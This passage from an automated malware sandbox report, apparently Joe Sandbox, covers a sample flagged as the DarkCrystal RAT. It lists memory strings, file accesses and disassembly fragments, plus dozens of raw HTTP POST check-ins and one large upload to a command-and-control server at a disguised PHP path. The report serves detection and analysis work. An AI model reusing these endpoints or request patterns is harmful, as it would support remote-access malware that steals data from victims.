                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004C6F000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000056EB000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005305000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005034000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: hC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003FFC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005893000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000058E5000.00000004.00000800.00020000.00000000.sdmp
                          Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006B27B0 FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_006B27B0
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\userJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\AppDataJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 4x nop then jmp 00007FFD9B88DFC6h5_2_00007FFD9B88DDAD
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 4x nop then jmp 00007FFD9B8ADFC6h11_2_00007FFD9B8ADDAD
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 4x nop then jmp 00007FFD9BE3952Bh11_2_00007FFD9BE39160
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 4x nop then dec eax11_2_00007FFD9BE337FC
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 4x nop then dec eax11_2_00007FFD9BE34591

                          Networking

                          barindex
                          Snort IDS alert for network traffic
                          Source: TrafficSnort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49731 -> 193.233.115.185:80
                          Source: Joe Sandbox ViewASN Name: FREE-MPEIRU FREE-MPEIRU
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 336Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 384Expect: 100-continue
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continue
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1876Expect: 100-continue
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1864Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continue
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1876Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1876Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: multipart/form-data; boundary=----zT3K1V3mgUrnAzl4Fq9z89iUX6rvyBXPoyUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 195210Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1868Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
